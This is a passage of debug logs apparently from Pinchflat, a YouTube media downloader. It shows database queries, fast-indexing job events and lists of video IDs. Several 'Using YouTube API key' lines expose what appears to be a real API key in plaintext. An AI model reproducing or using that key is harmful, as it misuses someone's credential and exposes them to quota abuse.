s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:10.007 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:10.007 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:10.007 [debug] Fetching recent media IDs from YouTube API for playlist: UUBZiUUYeLfS5rIj4TQvgSvA 17:57:10.007 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:10.007 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:57:10.108 [debug] QUERY OK source="media_items" db=0.7ms idle=100.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [13, "aJDWyp19j9w", "WnBb3DLlVPw", "RYKpKMFIdGQ", "Hzz_d9Y44ZE", "fDvxq7IF1W4", "0xLzDF7PZW8", "EYoOiVsHJTw", "IrZCYj2ZHj8", "3GUQdrpduo0", "Y2qSaD1v4cQ", "P3Y4d2aHnNE", "XgzL05Gojfw", "0Kp3bjm55xw", "upLSYyprib8", "ZA_EifQu6is", "_hAuKtoRxJI", "HQtwULiTEmo", "pmKL3pgPQhY", "rW1cg3hDdc4", "wjny4u5THpU", "wjDaUFdKjR4", "itAMIIBnZ-8", "yO5fJ8z66Z8", "C4cNnVK412U", "eUywI8YGy0Y", "7hdJQkn8rtA", "ed8QTKtLxKs", "ZaeBfVc1NZQ", "hQFkbg7he-4", "ChtJ8gUuQWY", "1WuJtcgExa8", "RpoXFk-ixZc", "NCkyQuKjpVc", "EZbsIT2Uh5k", "NeopkvAP-ag", "m5s6xerRqVY", "UOIFxgid0uk", "LUTx3uwuQFE", "Xx_ylYKD6Bo", "VDV1R1j1n5I", "5E4nMfxjA3s", "gpDqUyXKqTA", "BRdq2ExLJns", "HfFAiCMLJ14", "TC9-t47tKts", "ivSOrKAsPss", "tBD1NyabTt4", "33yvx6Uui-c", "FuSsFdzF8tE", ...] 17:57:10.109 [debug] QUERY OK source="media_items" db=0.2ms idle=101.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [13] 17:57:10.110 [debug] QUERY OK source="tasks" db=0.1ms idle=102.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800326, 13, ~U[2026-02-10 23:57:10Z], ~U[2026-02-10 23:57:10Z]] 17:57:10.110 [info] {"args":{"id":13},"id":3800287,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":144537,"event":"job:stop","queue_time":475644,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:10.179 [debug] QUERY OK source="media_items" db=0.5ms idle=69.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [22, "aBRl73fC4-w", "8o8tl_s5hRE", "xO1MFgGVL8A", "fnW_Kbd0epU", "wlwBjCkcoFA", "BXOFhgj8exU", "IfsIu6p6BAg", "J-kMNoHzsjE", "KR56UQviXIA", "OX0gCdPIpO0", "yPIaCiTVEjE", "kyCJ17oq6kI", "UNIPJO5NvJk", "KjvPdIlDaQw", "xzGzXM3sYVI", "QFA5HOkw5Jg", "U5F-B2145JA", "VzcDyndh6uU", "m_uh56JhY4U", "PoeXzuQllKI", "KgItDGqwnDk", "E_dTga__P6w", "y4wdQRmGo7E", "BHQ5h_1bZUs", "10-hCMFcqX8", "vIwqKtD9u3Y", "b-zFY7w4is0", "0hghU1uXY30", "QC5SWSDiGiU", "vN-De4mzuX8", "ctTrCHmuZM4", "73qR9pdlsAo", "xzIADWo9-bc", "v0D9A_1TQ5Y", "CtX5kHZMr6w", "5MhzgeMI6JU", "9W60J35R-kQ", "Er2blBiXFDc", "TftKgvXUH54", "c6vJsI9V94E", "1am-k4WthCI", "GsUTnFu08SM", "Iz3Q-b0k2vY", "pHJnYgdGhUo", "pNyejYjV9Lo", "wsYhtLN5by0", "gQaMracObcw", "R-FqE10GQZc", "k5ueDLDOlAI", ...] 17:57:10.180 [debug] QUERY OK source="media_items" db=0.3ms idle=70.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 17:57:10.181 [debug] QUERY OK source="tasks" db=0.1ms idle=64.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800327, 22, ~U[2026-02-10 23:57:10Z], ~U[2026-02-10 23:57:10Z]] 17:57:10.181 [info] {"args":{"id":22},"id":3800288,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":174765,"event":"job:stop","queue_time":401666,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:11.755 [info] {"args":{"id":14},"id":3800289,"meta":{},"system_time":1770767831755773415,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:11.756 [debug] QUERY OK source="sources" db=0.2ms idle=1574.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [14] 17:57:11.756 [debug] QUERY OK source="settings" db=0.0ms idle=1568.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:11.756 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:11.756 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:11.756 [debug] Fetching recent media IDs from YouTube API for playlist: UU0vBXGSyV14uvJ4hECDOl0Q 17:57:11.756 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:11.756 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:57:11.855 [debug] QUERY OK source="media_items" db=0.7ms idle=98.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [14, "NqHoFbA7oEk", "y73SPpeDz2E", "864HSWFIBY4", "UASz0VPQEx4", "xmqvssSmphg", "2UUkewknce4", "-ltZwIdeREY", "vwTDiLH6mqg", "pbW1ySDef_E", "-8A7a3w-bZw", "Qnauk0wEerQ", "xP4hOcYKCTo", "OltyPPiWhqg", "1mNIvSanVR8", "AdJnqXLeth8", "QWWfIg3F36k", "bztt89scgH0", "Ih1c6_PnLbo", "9zCt0Iuo_1c", "xQL-tr6l5yg", "lv8ty1wn0TE", "Uj8Ajtelzw8", "Cup6uH0_8z8", "M24VNNtj7dg", "6ZS6Hmjnp14", "yvUTsieYw20", "HNapnDvLKTs", "7EMS_9ZydT8", "hp-ASYtCDNE", "8XP47iCJlJk", "UJaRNiLTiKQ", "swm7n88QmLA", "NVEOV_FgGBc", "4c17zAW6Q54", "TbuAvyyjxyM", "kTMEXgxtE4s", "aViuBgbokmI", "XS_I3cN9CeI", "oK9XgPNXeUI", "1tf5v-I72VQ", "iQxHEkbwqzY", "_a6TbDoSOe4", "LpoGGGDtK9U", "BrfKaMHCjGA", "9Aw-hoPrHok", "frJ4DvQYpes", "cQUlbFmjDcM", "Ty92ZPi6LAY", "55NAeEwEqtQ", ...] 17:57:11.857 [debug] QUERY OK source="media_items" db=1.1ms idle=99.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [14] 17:57:11.858 [debug] QUERY OK source="tasks" db=0.1ms idle=101.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800328, 14, ~U[2026-02-10 23:57:11Z], ~U[2026-02-10 23:57:11Z]] 17:57:11.858 [info] {"args":{"id":14},"id":3800289,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":102606,"event":"job:stop","queue_time":507499,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:13.757 [info] {"args":{"id":24},"id":3800290,"meta":{},"system_time":1770767833757665695,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:13.757 [info] {"args":{"id":4},"id":3800291,"meta":{},"system_time":1770767833757698930,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:13.758 [debug] QUERY OK source="sources" db=0.2ms idle=879.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [24] 17:57:13.758 [debug] QUERY OK source="sources" db=0.2ms idle=879.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 17:57:13.758 [debug] QUERY OK source="settings" db=0.1ms idle=879.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:13.758 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:13.758 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:13.758 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:13.758 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:13.758 [debug] Fetching recent media IDs from YouTube API for playlist: UUgzg_f5HC6EnY-9q5Px1Q-g 17:57:13.758 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:13.758 [debug] Fetching recent media IDs from YouTube API for playlist: UUDiKw3GnFIwyNJBzhCoRI-Q 17:57:13.758 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:13.758 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:57:13.758 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:13.758 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:57:13.837 [debug] QUERY OK source="media_items" db=0.6ms idle=78.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [24, "EqcdcLKC5bE", "XWN9YMVaTio", "0ff4TbRMPcE", "lr65O1qIhT4", "lQPuHoc-93U", "8jv8nOKR_Ck", "8lzNViKW9F8", "r2GTUZ2zQSE", "Ki7sgG5i5P0", "dI43FJGa52A", "Tb0Z5jKFrKA", "A1QzVQn8hH8", "lWvIsb06YYg", "rLmO075A07c", "uPvdvnz9rLc", "IBk-Nh0VRy0", "IclNtwcicpc", "emMmkd-o2-o", "o3CQZ4JmTU8", "p6Q9chqIwyg", "0voL1hfm3e4", "HCQGhsHO1nM", "6xs7fjbo2NM", "yCdY2eeT8fQ", "faSZB8yewoU", "otxMmPttGp4", "7pysYXsQ8Ps", "QJtdNwlYFDM", "iBclMIJgm7k", "UI4lFdFfOFI", "apGupfbctgs", "qhRfchtbX-0", "73Vhinj4iEI", "M6o0F4zC8Ps", "NrQ0BAnY8sk", "y7WdMKmMR5Y", "J0z4YoAcmKI", "6eSG5JLP0-g", "AvswAhGn_PU", "4FFIce1pjH0", "yOM58cUfPhs", "gTT34dgyJfA", "hZJe5fqUbQA", "RNGpdA2TR1M", "PmIe2ZOPcA0", "zImBY_tGMIU", "1VUhrRFTY_0", "QJDpwY5MGjs", "xYFjwbtJs7U", ...] 17:57:13.838 [debug] QUERY OK source="media_items" db=0.2ms idle=79.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [24] 17:57:13.839 [debug] QUERY OK source="tasks" db=0.1ms idle=80.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800329, 24, ~U[2026-02-10 23:57:13Z], ~U[2026-02-10 23:57:13Z]] 17:57:13.839 [info] {"args":{"id":24},"id":3800290,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":81583,"event":"job:stop","queue_time":524530,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:14.014 [debug] QUERY OK source="media_items" db=0.6ms idle=175.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [4, "ZOz1fA9W3Ms", "QtVIR_-hMq8", "sPysKEfXzWM", "TEPKKZtclTA", "33Ur3hu8a6c", "6kGBOMlXkkA", "op_mXNwUcwY", "2chMcaJPJW0", 